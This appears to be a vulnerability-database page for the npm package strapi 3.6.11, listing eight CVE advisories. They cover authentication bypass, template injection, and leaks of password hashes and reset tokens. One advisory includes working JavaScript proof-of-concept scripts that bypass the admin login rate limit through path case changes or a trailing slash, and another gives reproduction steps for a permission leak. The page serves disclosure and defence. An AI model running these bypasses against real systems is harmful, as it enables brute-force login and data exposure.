Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/strapi@3.6.11
purl pkg:npm/strapi@3.6.11
Next non-vulnerable version None.
Latest non-vulnerable version None.
Risk 10.0
Vulnerabilities affecting this package (8)
Vulnerability Summary Fixed by
VCID-1nkk-pvsd-x7dn
Aliases:
CVE-2023-22893
GHSA-583x-23h9-f5w7
Improper Authentication Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication. There are no reported fixed by versions.
VCID-5bpn-j31w-k7gb
Aliases:
CVE-2023-34093
GHSA-chmr-rg2f-9jmf
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it. The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the `privateAttributes` getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes). Anyone can be impacted, depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected. Version 4.10.8 contains a patch for this issue. There are no reported fixed by versions.
VCID-5n69-472h-rbcn
Aliases:
CVE-2023-22621
GHSA-2h87-4q2w-v4hf
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution. There are no reported fixed by versions.
VCID-6tkp-v5jw-dke9
Aliases:
CVE-2023-22894
GHSA-jjqf-j4w7-92w8
Cleartext Storage of Sensitive Information Strapi through 4.5.5 allows attackers (with access to the admin panel) to discover sensitive user details by exploiting the query filter. The attacker can filter users by columns that contain sensitive information and infer a value from API responses. If the attacker has super admin access, then this can be exploited to discover the password hash and password reset token of all users. If the attacker has admin panel access to an account with permission to access the username and email of API users with a lower privileged role (e.g., Editor or Author), then this can be exploited to discover sensitive information for all API users but not other admin accounts. There are no reported fixed by versions.
VCID-adab-ztym-ayhd
Aliases:
CVE-2023-36472
GHSA-v8gg-4mq2-88q4
Strapi may leak sensitive user information, user reset password, tokens via content-manager views Attackers can get access to user reset password tokens if they have the configure view permissions. There are no reported fixed by versions.
VCID-byez-u4kv-7qac
Aliases:
CVE-2023-38507
GHSA-24q2-59hm-rh9r
Strapi Improper Rate Limiting vulnerability ### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. ### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2) ### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen. #### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### Pattern 2 (trailing slash) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) ### 4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases. ### 5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`) Also, remove any extra slashes in the request path. There are no reported fixed by versions.
VCID-mffu-ck9j-vkg8
Aliases:
CVE-2023-34235
GHSA-9xg4-3qfm-9w8f
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the `t(number)` prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to another table they want to query, the query changes from `password` to `t1.password`. `password` is protected by filtering protections but `t1.password` is not protected. This can lead to filtering attacks on everything related to the object again, including admin passwords and reset-tokens. Version 4.10.8 fixes this issue.
4.10.8
Affected by 0 other vulnerabilities.
VCID-n7t6-zk51-afc3
Aliases:
CVE-2023-37263
GHSA-m284-85mf-cgrc
Strapi's field level permissions not being respected in relationship title ### Summary Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible. ### Details No RBAC checks on on the relationship the relation endpoint returns ### PoC #### Setup Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save Create a new admin account with only the author role #### CVE login on the newly created author acount. go to the content manager to the colection type you created with the relationship to users_permissions_user You now see a field you don't have permissions to view. ### Impact RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role. There are no reported fixed by versions.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-06T04:08:09.183772+00:00 GitLab Importer Affected by VCID-adab-ztym-ayhd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-36472.yml 38.6.0
2026-06-06T04:07:59.615599+00:00 GitLab Importer Affected by VCID-byez-u4kv-7qac https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-38507.yml 38.6.0
2026-06-06T04:07:33.308643+00:00 GitLab Importer Affected by VCID-n7t6-zk51-afc3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-37263.yml 38.6.0
2026-06-06T03:58:57.244806+00:00 GitLab Importer Affected by VCID-5bpn-j31w-k7gb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-34093.yml 38.6.0
2026-06-06T03:58:30.321058+00:00 GitLab Importer Affected by VCID-mffu-ck9j-vkg8 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-34235.yml 38.6.0
2026-06-06T03:41:15.544579+00:00 GitLab Importer Affected by VCID-5n69-472h-rbcn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-22621.yml 38.6.0
2026-06-06T03:41:05.777405+00:00 GitLab Importer Affected by VCID-1nkk-pvsd-x7dn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-22893.yml 38.6.0
2026-06-06T03:41:04.789325+00:00 GitLab Importer Affected by VCID-6tkp-v5jw-dke9 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/strapi/CVE-2023-22894.yml 38.6.0